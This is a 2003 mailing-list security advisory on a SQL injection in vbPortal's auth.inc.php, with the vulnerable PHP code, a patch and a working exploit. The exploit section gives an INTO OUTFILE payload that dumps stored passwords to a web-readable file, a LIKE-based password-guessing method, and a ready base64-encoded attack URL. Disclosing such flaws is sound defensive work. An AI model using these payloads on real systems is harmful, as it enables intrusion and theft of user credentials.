[VulnWatch] vbPortal : SQL Injection

From: Frog Man (leseulfrogat_private)
Date: Fri Sep 12 2003 - 15:08:25 PDT

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    Informations :
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Language : PHP
version : 2.0 alpha 8.1
Website : http://www.vbportal.com
Problem : SQL Injection
Description : vbPortal is a Portal made to complete vBulletin as a CMS.

PHP Code/Location :
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auth.inc.php :
-----------------------------------------------------------------------------------------
[...]
if(isset($admin)) {
  $admin = base64_decode($admin);
  $admin = explode(":", $admin);
  $aid = "$admin[0]";
  $pwd = "$admin[1]";
  if ($aid=="" || $pwd=="") {
    $admintest=0;
    echo "<html>\n";
    echo "<title>INTRUDER ALERT!!!</title>\n";
    echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
    echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
    echo "<font face=\"Verdana\" size=\"+4\"><b>Get 
Out!</b></font></center>\n";
    echo "</body>\n";
    echo "</html>\n";
    exit;
  }
  $result=mysql_query("SELECT password as pwd FROM user WHERE username = 
'$aid'");
  // $result=mysql_query("select pwd from $prefix"._authors." where 
aid='$aid'");
  if(!$result) {
        echo "Selection from database failed!";
        exit;
  } else {
    list($pass)=mysql_fetch_row($result);
    if($pass == $pwd && $pass != "") {
        $admintest = 1;
    }
  }
}
[...]
-----------------------------------------------------------------------------------------


Exploit :
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The injection is made by $aid. If the value of $aid is ' OR 1=1 INTO OUTFILE 
'/complete/path/UserTable.txt, the SQL request became :

SELECT password as pwd FROM user WHERE username = '' OR 1=1 INTO OUTFILE 
'/complete/path/UserTable.txt'

and the passwords of the table user can be writted into UserTable.txt, and 
is readable on http://[target]/UserTable.txt if the path '/complete/path/' 
is the right way to the website directory.

Passwords can also be cracked using LIKE. For example, to know if the 
crypted password begon by 'a', you can give to $aid the value ' OR pwd LIKE 
'a%.

To inject the first and the second possiblities, we have to use $admin like 
this :
base64([VALUETOGIVETO$AID]:1);
E.g. : to use the first example, we have to crypt :
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
in base64, like this :
JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
and to inject this via $admin like this :
http://[target]/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=

This will of course work both if magic_quotes_gpc is ON or OFF.


Solution :
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A patch can be found on http://www.phpsecure.info.
You just have to replace the line :

---------------------
  $aid = "$admin[0]";
---------------------
in auth.inc.php by :
-------------------------------
  $aid = addslashes($admin[0]);
-------------------------------


More Details in French :
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http://www.phpsecure.info/v2/tutos/vbPortal.txt



frog-m@n (http://www.phpsecure.info)

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